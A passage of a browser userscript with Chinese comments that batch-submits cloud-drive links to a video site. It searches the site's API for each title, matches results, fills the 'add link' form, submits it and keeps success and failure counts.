(titleEl.textContent || "").trim(); console.log("[PL] 搜索结果标题:", cardTitle, "搜索关键词:", task.name); if (cardTitle && task.name && !isTitleMatch(cardTitle, task.name)) { addLog("⚠ 标题不匹配:「" + cardTitle + "」≠「" + task.name + "」,尝试下一个结果"); var matchedCard = null; for (var ci = 0; ci < cards.length; ci++) { var tEl = cards[ci].querySelector(".list-card-title"); var t = tEl ? (tEl.textContent || "").trim() : ""; if (t && isTitleMatch(t, task.name)) { matchedCard = cards[ci]; addLog("在第 " + (ci + 1) + " 个结果中找到匹配:「" + t + "」"); break; } } if (!matchedCard) { addLog("⚠ 所有结果标题均不匹配,使用第一个结果"); } else { card = matchedCard; } } // 直接从 onclick 属性提取 video_id,用 location.href 跳转(避开 window.open 拦截) const videoId = extractVideoIdFromCard(card); if (!videoId) { addLog("✗ 无法提取 video_id"); const stats = loadStats(); stats.noResult++; saveStats(stats); const idx = loadIndex(); saveIndex(idx + 1); updatePanelStats(); await sleep(randomDelay()); goNextTask(); return; } addLog("跳转到 video.php?id=" + videoId); location.href = "https://pinglian.lol/pages/video.php?id=" + videoId; } /** * 通过 GM_xmlhttpRequest 调用搜索 API 获取 video_id。 * * API 端点:https://pinglian.lol/api/get_videos.php * 参数:wd(搜索关键词)、pg(页码,默认 1) * 请求头:X-Requested-With: XMLHttpRequest * 响应:{ list: [{ vod_id, vod_name, ... }], pagecount, total } * 未登录时 { code: -1, msg: "请先登录后再使用搜索功能" } * * @returns {Promise<{id: string, name: string, exact: boolean, candidates: Array}|null>} */ function searchByApi(keyword) { return new Promise(function(resolve) { var url = "https://pinglian.lol/api/get_videos.php?wd=" + encodeURIComponent(keyword) + "&pg=1"; console.log("[PL] searchByApi URL:", url); GM_xmlhttpRequest({ method: "GET", url: url, headers: { "X-Requested-With": "XMLHttpRequest" }, timeout: 15000, onload: function(resp) { try { var data = JSON.parse(resp.responseText); console.log("[PL] searchByApi 响应:", JSON.stringify(data).substring(0, 300)); if (data.code === -1) { addLog("✗ 请先登录后再使用搜索功能"); resolve({ id: null, name: null, needLogin: true, exact: false, candidates: [] }); return; } var list = data.list; if (!Array.isArray(list) || list.length === 0) { resolve(null); return; } // 提取所有候选结果 var candidates = []; for (var i = 0; i < list.length; i++) { candidates.push({ id: String(list[i].vod_id), name: (list[i].vod_name || "").trim() }); } // 精确匹配:搜索词与 vod_name 完全一致(忽略大小写和首尾空白) var kw = keyword.trim().toLowerCase(); var exactMatch = null; for (var j = 0; j < candidates.length; j++) { if (candidates[j].name.toLowerCase() === kw) { exactMatch = candidates[j]; break; } } if (exactMatch) { resolve({ id: exactMatch.id, name: exactMatch.name, exact: true, candidates: candidates.slice(0, 5) }); return; } // 无精确匹配 → 模糊匹配 var fuzzyCandidates = []; for (var k = 0; k < candidates.length; k++) { if (isTitleMatch(candidates[k].name, keyword)) { fuzzyCandidates.push(candidates[k]); } } if (fuzzyCandidates.length > 0) { addLog("模糊匹配命中「" + fuzzyCandidates[0].name + "」(" + fuzzyCandidates.length + " 个候选)"); resolve({ id: fuzzyCandidates[0].id, name: fuzzyCandidates[0].name, exact: false, candidates: fuzzyCandidates.slice(0, 5) }); return; } // 模糊也匹配不到 → 返回候选列表供人工决策 addLog("API 返回 " + candidates.length + " 个结果,无匹配「" + keyword + "」"); resolve({ id: null, name: null, exact: false, candidates: candidates.slice(0, 10) }); } catch(e) { console.log("[PL] searchByApi 解析失败:", e); resolve(null); } }, onerror: function() { console.log("[PL] searchByApi 网络错误"); resolve(null); }, ontimeout: function() { console.log("[PL] searchByApi 超时"); resolve(null); } }); }); } /** * 等待搜索结果出现 * 先用 MutationObserver 监听 15 秒,超时后降级为每 500ms 轮询 * 总共最多等待 SEARCH_TIMEOUT(20 秒) */ function waitForSearchResults() { return new Promise(function(resolve) { var startTime = Date.now(); var resolved = false; function check() { // 只在搜索结果容器内查找,避免匹配到推荐/热门区的卡片 var container = document.querySelector("#videoList") || document.querySelector(".search-results-list"); if (!container) return false; var cards = container.querySelectorAll(".search-list-card"); if (cards.length > 0) { resolved = true; resolve(cards); return true; } return false; } // 先立即检查一次 if (check()) return; // MutationObserver:监听 15 秒 var observerTimeout; var target = document.body || document.documentElement; if (!target) { // 极端情况:body 和 documentElement 都不存在,直接降级轮询 addLog("DOM 未就绪,降级轮询"); startPolling(); return; } var observer = new MutationObserver(function() { if (check()) { clearTimeout(observerTimeout); observer.disconnect(); } }); observer.observe(target, { childList: true, subtree: true }); observerTimeout = setTimeout(function() { observer.disconnect(); if (resolved) return; addLog("Observer 超时,降级为轮询"); startPolling(); }, 15000); function startPolling() { var pollInterval = setInterval(function() { var elapsed = Date.now() - startTime; if (check()) { clearInterval(pollInterval); } else if (elapsed >= SEARCH_TIMEOUT) { clearInterval(pollInterval); resolve(document.querySelectorAll(".search-list-card")); } }, 500); } }); } /** * video.php 页面:点击添加链接并填写表单 */ async function handleVideoPage() { const status = loadStatus(); if (status !== STATUS_RUNNING) return; const task = getCurrentTask(); if (!task) return; addLog("进入详情页:" + task.name); setStatusText("📝 正在添加链接:" + task.name); const panType = loadPanType(); // 等待添加链接按钮出现 let addBtn = null; for (let i = 0; i < 20; i++) { addBtn = document.querySelector("button.dac-add"); if (addBtn) break; await sleep(500); } if (!addBtn) { const stats = loadStats(); stats.fail++; saveStats(stats); const idx = loadIndex(); saveIndex(idx + 1); updatePanelStats(); await sleep(randomDelay()); goNextTask(); return; } // 点击添加链接 addLog("点击添加链接按钮"); addBtn.click(); // 等待弹窗出现 let modal = null; for (let i = 0; i < 10; i++) { modal = document.querySelector("#addLinkModal.show"); if (modal) break; await sleep(300); } if (!modal) { // 重试点击 addBtn.click(); await sleep(500); modal = document.querySelector("#addLinkModal.show"); } if (!modal) { const stats = loadStats(); stats.fail++; saveStats(stats); const idx = loadIndex(); saveIndex(idx + 1); updatePanelStats(); await sleep(randomDelay()); goNextTask(); return; } await sleep(300); // 填写表单 const titleInput = document.getElementById("linkTitle"); const urlInput = document.getElementById("linkUrl"); const panSelect = document.getElementById("panType"); const submitBtn = document.getElementById("submitBtn"); if (!titleInput || !urlInput || !panSelect || !submitBtn) { const stats = loadStats(); stats.fail++; saveStats(stats); const idx = loadIndex(); saveIndex(idx + 1); updatePanelStats(); // 关闭弹窗 if (typeof closeAddLinkModal === "function") closeAddLinkModal(); await sleep(randomDelay()); goNextTask(); return; } // 填入数据 addLog("填写表单:" + task.linkTitle); titleInput.value = task.linkTitle; titleInput.dispatchEvent(new Event("input", { bubbles: true })); urlInput.value = task.linkUrl; urlInput.dispatchEvent(new Event("input", { bubbles: true })); panSelect.value = panType; panSelect.dispatchEvent(new Event("change", { bubbles: true })); await sleep(200); // 点击提交 addLog("提交中..."); submitBtn.click(); // 等待弹窗关闭(提交成功)或 toast 提示 let success = false; for (let i = 0; i < 30; i++) { const modalNow = document.querySelector("#addLinkModal.show"); if (!modalNow) { success = true; break; } await sleep(300); } const stats = loadStats(); if (success) { stats.success++; addLog("✓ 添加成功"); } else { stats.fail++; addLog("✗ 添加失败"); // 尝试关闭弹窗 if (typeof closeAddLinkModal === "function") closeAddLinkModal(); } saveStats(stats); const idx = loadIndex(); saveIndex(idx + 1); updatePanelStats(); await sleep(randomDelay()); goNextTask(); } // ============================================================ // 入口 // ============================================================ (async function main() { // 光鸭云盘域:仅静默运行监控 if (location.hostname === GYP_HOST) { gypStartUnlockMonitor(); return; } const pageType = getPageType(); const status = loadStatus(); if (pageType === "other" || status === STATUS_IDLE || status === STATUS_PAUSED) { createPanel(); if (status === STATUS_PAUSED) { // 恢复候选选择器(如果有) var savedCands = loadCandidates(); var curTask = getCurrentTask(); if (savedCands.length > 0 && curTask) { showCandidatePicker(curTask, savedCands); } return; } return; } // 运行状态下的自动化 if (status === STATUS_RUNNING) { createPanel(); if (pageType === "video") { await handleVideoPage(); } else { // 不在详情页 → 用 goNextTask(含精确匹配检查) createPanel(); await goNextTask(); } } })();